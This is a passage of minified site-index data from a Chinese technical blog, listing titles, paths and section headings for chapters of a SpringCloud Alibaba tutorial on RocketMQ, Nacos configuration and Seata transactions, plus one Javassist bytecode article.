AE%E6%95%B4%E5%90%88RocketMQ.html",relativePath:"md/microservices/springcloudalibaba/2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.md",key:"v-d8be47ba",path:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"RocketMQ环境准备",slug:"rocketmq环境准备"},{level:3,title:"源码编译安装RocketMQ",slug:"源码编译安装rocketmq"},{level:3,title:"测试RocketMQ环境",slug:"测试rocketmq环境"},{level:3,title:"源码编译RocketMQ控制台",slug:"源码编译rocketmq控制台"},{level:3,title:"验证RocketMQ控制台",slug:"验证rocketmq控制台"},{level:2,title:"编码测试RocketMQ",slug:"编码测试rocketmq"},{level:3,title:"导入RocketMQ依赖",slug:"导入rocketmq依赖"},{level:3,title:"编写生产者代码",slug:"编写生产者代码"},{level:3,title:"编写消费者代码",slug:"编写消费者代码"},{level:3,title:"测试消息的生产与消费",slug:"测试消息的生产与消费"},{level:2,title:"项目整合RocketMQ",slug:"项目整合rocketmq"},{level:3,title:"用户微服务整合RocketMQ",slug:"用户微服务整合rocketmq"},{level:3,title:"订单微服务整合RocketMQ",slug:"订单微服务整合rocketmq"},{level:3,title:"测试项目整合的RocketMQ",slug:"测试项目整合的rocketmq"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第20章:RocketMQ核心技术",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第20章:RocketMQ核心技术",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第20章:RocketMQ核心技术"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"第20章:RocketMQ核心技术"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",relativePath:"md/microservices/springcloudalibaba/2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.md",key:"v-5adcf599",path:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"IDEA启动RocketMQ源码",slug:"idea启动rocketmq源码"},{level:3,title:"下载RocketMQ源码",slug:"下载rocketmq源码"},{level:3,title:"将源码导入IDEA",slug:"将源码导入idea"},{level:3,title:"编译RocketMQ源码",slug:"编译rocketmq源码"},{level:3,title:"启动RocketMQ",slug:"启动rocketmq"},{level:2,title:"RocketMQ基本概念",slug:"rocketmq基本概念"},{level:3,title:"消息模型",slug:"消息模型"},{level:3,title:"消息生产者",slug:"消息生产者"},{level:3,title:"消息消费者",slug:"消息消费者"},{level:3,title:"主题",slug:"主题"},{level:3,title:"代理服务器",slug:"代理服务器"},{level:3,title:"名字服务",slug:"名字服务"},{level:3,title:"拉取式消费",slug:"拉取式消费"},{level:3,title:"推动式消费",slug:"推动式消费"},{level:3,title:"生产者组",slug:"生产者组"},{level:3,title:"消费者组",slug:"消费者组"},{level:3,title:"集群消费",slug:"集群消费"},{level:3,title:"广播消费",slug:"广播消费"},{level:3,title:"普通顺序消息",slug:"普通顺序消息"},{level:3,title:"严格顺序消息",slug:"严格顺序消息"},{level:3,title:"消息",slug:"消息"},{level:3,title:"标签",slug:"标签"},{level:2,title:"RocketMQ特性",slug:"rocketmq特性"},{level:3,title:"订阅与发布",slug:"订阅与发布"},{level:3,title:"消息顺序",slug:"消息顺序"},{level:3,title:"消息过滤",slug:"消息过滤"},{level:3,title:"消息可靠性",slug:"消息可靠性"},{level:3,title:"至少一次",slug:"至少一次"},{level:3,title:"回溯消费",slug:"回溯消费"},{level:3,title:"事务消息",slug:"事务消息"},{level:3,title:"定时消息",slug:"定时消息"},{level:3,title:"消息重试",slug:"消息重试"},{level:3,title:"消息重投",slug:"消息重投"},{level:3,title:"流量控制",slug:"流量控制"},{level:3,title:"死信队列",slug:"死信队列"},{level:2,title:"RocketMQ最佳实践",slug:"rocketmq最佳实践"},{level:3,title:"生产者",slug:"生产者"},{level:3,title:"消费者",slug:"消费者"},{level:3,title:"Broker",slug:"broker"},{level:3,title:"NameServer",slug:"nameserver"},{level:3,title:"客户端配置",slug:"客户端配置"},{level:3,title:"系统配置",slug:"系统配置"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第21章:服务配置介绍与Nacos核心概念",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第21章:服务配置介绍与Nacos核心概念",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第21章:服务配置介绍与Nacos核心概念"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{name:"twitter:title",content:"第21章:服务配置介绍与Nacos核心概念"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html",relativePath:"md/microservices/springcloudalibaba/2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.md",key:"v-c4a087da",path:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"群魔乱舞(配置散落存储)",slug:"群魔乱舞-配置散落存储"},{level:2,title:"分久必合(配置中心)",slug:"分久必合-配置中心"},{level:2,title:"配置中心解决方案",slug:"配置中心解决方案"},{level:2,title:"Nacos配置中心概念",slug:"nacos配置中心概念"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第22章:项目整合Nacos配置中心",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第22章:项目整合Nacos配置中心",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第22章:项目整合Nacos配置中心"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{name:"twitter:title",content:"第22章:项目整合Nacos配置中心"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html",relativePath:"md/microservices/springcloudalibaba/2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.md",key:"v-963bbc92",path:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"环境准备",slug:"环境准备"},{level:2,title:"服务整合Nacos配置中心",slug:"服务整合nacos配置中心"},{level:3,title:"用户微服务整合配置中心",slug:"用户微服务整合配置中心"},{level:3,title:"商品微服务整合配置中心",slug:"商品微服务整合配置中心"},{level:3,title:"订单微服务整合配置中心",slug:"订单微服务整合配置中心"},{level:3,title:"网关服务整合配置中心",slug:"网关服务整合配置中心"},{level:3,title:"查看Nacos中的配置",slug:"查看nacos中的配置"},{level:2,title:"整合Nacos配置中心测试",slug:"整合nacos配置中心测试"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第23章:实现动态刷新与配置共享",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第23章:实现动态刷新与配置共享",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第23章:实现动态刷新与配置共享"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{name:"twitter:title",content:"第23章:实现动态刷新与配置共享"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html",relativePath:"md/microservices/springcloudalibaba/2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.md",key:"v-56bc4367",path:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"实现动态刷新",slug:"实现动态刷新"},{level:3,title:"修改Nacos配置",slug:"修改nacos配置"},{level:3,title:"通过IOC容器获取Nacos配置",slug:"通过ioc容器获取nacos配置"},{level:3,title:"通过注解获取Nacos配置",slug:"通过注解获取nacos配置"},{level:2,title:"实现配置共享",slug:"实现配置共享"},{level:3,title:"单服务多环境实现共享",slug:"单服务多环境实现共享"},{level:3,title:"多服务配置实现共享",slug:"多服务配置实现共享"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第24章:分布式事务核心原理与Seata介绍",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第24章:分布式事务核心原理与Seata介绍",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第24章:分布式事务核心原理与Seata介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第24章:分布式事务核心原理与Seata介绍"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html",relativePath:"md/microservices/springcloudalibaba/2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.md",key:"v-d9ccacfe",path:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"分布式事务",slug:"分布式事务"},{level:3,title:"系统学习分布式事务",slug:"系统学习分布式事务"},{level:3,title:"深入理解分布式事务",slug:"深入理解分布式事务"},{level:2,title:"Seata介绍",slug:"seata介绍"},{level:3,title:"Seata 是什么?",slug:"seata-是什么"},{level:3,title:"AT 模式",slug:"at-模式"},{level:3,title:"TCC 模式",slug:"tcc-模式"},{level:3,title:"Saga 模式",slug:"saga-模式"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第25章:项目整合Seata实现分布式事务",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第25章:项目整合Seata实现分布式事务",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第25章:项目整合Seata实现分布式事务"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:title",content:"第25章:项目整合Seata实现分布式事务"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-05-25-SA实战-第25章-分布式事务-项目整合Seata实现分布式事务.md",key:"v-7a4e99e2",path:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"分布式事务问题",slug:"分布式事务问题"},{level:3,title:"查询数据表数据",slug:"查询数据表数据"},{level:3,title:"重现分布式事务问题",slug:"重现分布式事务问题"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-2"},{level:2,title:"搭建并整合Seata",slug:"搭建并整合seata"},{level:3,title:"搭建Seata基础环境",slug:"搭建seata基础环境"},{level:3,title:"项目整合Seata",slug:"项目整合seata"},{level:3,title:"导入unlog表",slug:"导入unlog表"},{level:3,title:"商品微服务整合Seata",slug:"商品微服务整合seata"},{level:3,title:"订单微服务整合Seata",slug:"订单微服务整合seata"},{level:2,title:"验证Seata事务",slug:"验证seata事务"},{level:3,title:"重置数据库数据",slug:"重置数据库数据"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-3"},{level:3,title:"验证Seata事务",slug:"验证seata事务-2"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-4"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第18章:MQ使用场景与选型对比",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第18章:MQ使用场景与选型对比",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第18章:MQ使用场景与选型对比"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html"},{name:"twitter:title",content:"第18章:MQ使用场景与选型对比"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html",relativePath:"md/microservices/springcloudalibaba/2022-05-17-SA实战-第18章-消息服务-MQ使用场景与选型对比.md",key:"v-4f4a21d2",path:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"MQ的使用场景",slug:"mq的使用场景"},{level:3,title:"异步解耦",slug:"异步解耦"},{level:3,title:"流量削峰",slug:"流量削峰"},{level:2,title:"引入MQ后的注意事项",slug:"引入mq后的注意事项"},{level:3,title:"系统的整体可用性降低",slug:"系统的整体可用性降低"},{level:3,title:"系统的复杂度变高",slug:"系统的复杂度变高"},{level:3,title:"消息一致性问题",slug:"消息一致性问题"},{level:2,title:"MQ选型对比",slug:"mq选型对比"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"字节码编程 | 使用Javassist生成JavaBean",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 使用Javassist生成JavaBean",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"在实际工作过程中,我们可以通过对Java的字节码进行插桩,以便拦截我们需要拦截的类和方法,对这些类和方法进行改造或者直接动态生成相应的类来实现拦截的逻辑。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"字节码编程 | 使用Javassist生成JavaBean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html"},{name:"twitter:title",content:"字节码编程 | 使用Javassist生成JavaBean"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html",relativePath:"md/middleware/bytecode/2022-04-11-003-使用Javassist生成JavaBean.md",key:"v-5a0fa5e6",path:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html",headers:[{level:2,title:"开发环境",slug:"开发环境"},{level:2,title:"Maven依赖",slug:"maven依赖"},{level:2,title:"案例效果",slug:"案例效果"},{level:2,title:"案例实现",slug:"案例实现"},{level:3,title:"创建User类",slug:"创建user类"},{level:3,title:"添加name字段",slug:"添加name字段"},{level:3,title:"添加无参构造方法",slug:"添加无参构造方法"},{level:3,title:"添加有参构造方法",slug:"添加有参构造方法"},{level:3,title:"添加get/set方法",slug:"添加get-set方法"},{level:3,title:"添加printName()方法",slug:"添加printname-方法"},{level:2,title:"完整案例",slug:"完整案例"},{level:2,title:"效果演示",slug:"效果演示"},{level:2,title:"案例总结",slug:"案例总结"},{level:2,title:"附录",slug:"附录"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第26章:专栏总结及后续规划",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第26章:专栏总结及后续规划",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第26章-专栏总结及后续规划",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第26章:专栏总结及后续规划"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html"},{name:"twitter:title",content:"第26章:专栏总结及后续规划"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html",relativePath:"md/microservices/springcloudalibaba/2022-06-15-SA实战-第26章-专栏总结与后续规划.md",key:"v-5bdf7dba",path:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%